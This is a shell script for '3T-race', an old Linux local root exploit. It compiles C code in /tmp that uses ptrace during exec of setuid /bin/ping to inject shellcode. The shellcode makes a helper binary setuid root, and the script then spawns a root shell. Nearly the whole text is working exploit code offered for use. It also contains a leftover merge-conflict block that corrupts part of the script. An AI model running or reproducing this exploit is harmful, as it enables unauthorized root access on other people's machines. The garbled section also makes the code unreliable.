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|
#!/bin/sh
#
# IMPORTANT if you will get POKETEXT input/output error
# just run exploit again (I didn't debug why it crash sometimes:)
#
# I replaced /usr/bin/passwd with /bin/ping
# It should be +s on meny boxes too and it has +r (passwd hasn't)
# I nedd +r on binary to check address of .data segment.
#
# I didn't make 'disk cache clean up' better.. sorry no time
# I'll do it soon ;)
#
# -tm
echo -e "\E[1m\E[31m3T-race\E[m by \E[1mtmogg\E[m < lam3rZ / HERT / TESO >"
echo -en "\E[32m[+]\E[m Creating main code... "
cat > /tmp/.3T-race.c <<_EOF1
/*
* 3T-race by tmogg < lam3rZ / HERT / TESO >
* 24/03/2001
*/
#include <sys/ptrace.h>
#include <errno.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <asm/ptrace.h>
#include <stdio.h>
#include <sys/procfs.h>
#include <strings.h>
#define green "\E[32m"
#define bold "\E[1m"
#define normal "\E[m"
#define red "\E[31m"
char *the_suid = "/bin/ping" ;
_EOF1
addr=`/usr/bin/objdump -x /bin/ping 2>/dev/null | grep "\.data" | awk '{printf "0x"$4}'`
echo "int some_add = $addr;" >> /tmp/.3T-race.c
<<<<<<< 3T-race
char *the_suid = "/usr/bin/passwd" ;
//int some_add = 0x0804bc6c ; // objdump -x the_suid | grep .data
int some_add = 0x0804e420;
=======
cat >> /tmp/.3T-race.c <<_EOF1
>>>>>>> 1.2
char *shellcode =
"\x31\xc0\x83\xc0\x17\x31\xdb\xcd\x80\xeb"
"\x30\x5f\x31\xc9\x88\x4f\x17\x88\x4f\x1a"
"\x8d\x5f\x10\x89\x1f\x8d\x47\x18\x89\x47"
"\x04\x8d\x47\x1b\x89\x47\x08\x31\xc0\x89"
"\x47\x0c\x8d\x0f\x8d\x57\x0c\x83\xc0\x0b"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xcb\xff\xff\xff\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30\x2d\x63"
"\x30"
"chown root:root /tmp/.xp;chmod 4755 /tmp/.xp";
char *pl=green"[+]"normal;
char *mi=red"[--]"normal;
char *ch=bold"[*]"normal;
char *la=green"[?]"normal;
int stat(int a) {
char *dupa;
char fname[1024];
sprintf(fname,"/proc/%d/status",a);
a = open(fname,O_RDONLY);
read(a,fname,1024);
dupa = strchr(fname,'S');
if (dupa[7] == 'Z') {
printf("\n%s Child died.\nExiting...\n",mi);
exit();
}
return dupa[7];
}
int main(int argc, char **argv)
{
int pid;
int i,j;
void * p;
struct user_regs_struct regs;
char fname[1024];
if (argc == 1) {
printf("%s cleaning disk cache, please wait...",pl);
fflush(stdout);
system("cat /usr/bin/* >/dev/null 2>&1");
printf(" [done]\n%s starting main code\n", pl);
execl(argv[0],argv[0],"daj-mi-qrfa-roota",0);
}
pid = fork();
if (pid == 0) {
printf("%s Child exec...\n",ch );
i = open("/etc/lilo.conf",O_RDONLY);
p = mmap(0,102400,PROT_READ,MAP_PRIVATE,i,0);
i = execl(the_suid, p, 0);
printf("%s Child exec error: %s\n", mi, strerror(errno));
exit(-1);
}
printf("%s Waiting for disk sleep.... ", pl);
printf("%s dunno why but that printf helps sometimes ;) %s\n",red,normal);
while (stat(pid)!='D') {}
printf("[OK]\n");
i = ptrace(PTRACE_ATTACH, pid, 0, 0);
if (i == -1) {
printf("%s ATTACH: %s\nExiting...\n", mi, strerror(errno));
exit(-1);
}
printf("%s ATTACH: %d : %s\n", pl, i, strerror(errno));
waitpid(pid,0,0);
// printf("%sPress ENTER%s\n",red,normal);
// getchar();
j = ptrace(PTRACE_PEEKUSER, pid, (int)®s.eip - (int)®s.ebx, 0);
if (j == -1) {
printf("%s PEEKUSER: %s\n", mi, i, strerror(errno));
printf("Exiting...\n");
exit(-1);
}
printf("%s eip: 0x%x", pl, j);
j = some_add;
i = ptrace(PTRACE_POKEUSER, pid, (int)®s.eip - (int)®s.ebx, j);
if (i == -1) {
printf("\n%s POKEUSER: %s\nExiting...\n", mi, i, strerror(errno));
exit(-1);
}
j = ptrace(PTRACE_PEEKUSER, pid, (int)®s.eip - (int)®s.ebx, 0);
if (j == -1) {
printf("\n%s PEEKUSER: %s\nExiting...\n", mi, strerror(errno));
exit(-1);
}
printf(" -> 0x%x\n", pl, j);
printf("%s copy data from 0x%x to 0x%x\n", pl, shellcode, some_add);
printf("%s[%s",green,normal);
for (j=0; j<=strlen(shellcode); j+=4) {
i = ptrace(PTRACE_POKETEXT, pid,some_add+j,*(int*)(shellcode+j));
if (i != 0) {
printf("%s POKETEXT: %s\nExiting...\n", mi, strerror(errno));
exit(-1);
}
printf(".");
}
printf("%s]%s\n",green,normal);
//while (1) {}
i = ptrace(PTRACE_CONT, pid, 0, 0);
printf("%s CONT: %d : %s\n", la, i, strerror(errno));
printf("Status of %d: %c\n", pid, stat(pid));
i = ptrace(PTRACE_DETACH, pid, 0, SIGCONT);
printf("%s DETACH: %d : %s\n", la, i, strerror(errno));
printf("Status of %d: %c\n", pid, stat(pid));
}
_EOF1
gcc -o /tmp/.3T-race /tmp/.3T-race.c > /dev/null 2>&1
if [ ! -f /tmp/.3T-race ]; then
echo "[Failed]"
echo "Exiting..."
#rm -rf /tmp/.3T-race.c
exit
fi
echo "[done]"
echo -en "\E[32m[+]\E[m Creating helper... "
cat > /tmp/.xp.c <<_EOF2
int main() {
int i;
i = setuid(0);
printf("setuid(0) = %d\n",i);
i = setgid(0);
printf("setgid(0) = %d\n",i);
system("/bin/sh");
}
_EOF2
gcc -o /tmp/.xp /tmp/.xp.c > /dev/null 2>&1
if [ ! -f /tmp/.xp ]; then
echo "[Failed]"
echo "Exiting..."
#rm -rf /tmp/.3T-race*
#rm -rf /tmp/.xp.c
exit
fi
echo "[done]"
#rm -rf /tmp/.3T-race.c /tmp/.xp.c
echo -e "\E[32m[+] Starting explit"
/tmp/.3T-race
sleep 2
if [ -u /tmp/.xp ]; then
echo -e "\E[32m[+]\E[m Going to rootshell"
/tmp/.xp
else
echo "Doesn't work ;("
killall -9 passwd
fi
echo -e "\E[32m[+]\E[m Cleaning up /tmp ..."
#rm -rf /tmp/.3T-race /tmp/.xp
echo "Thank you for using 3T-race."
|
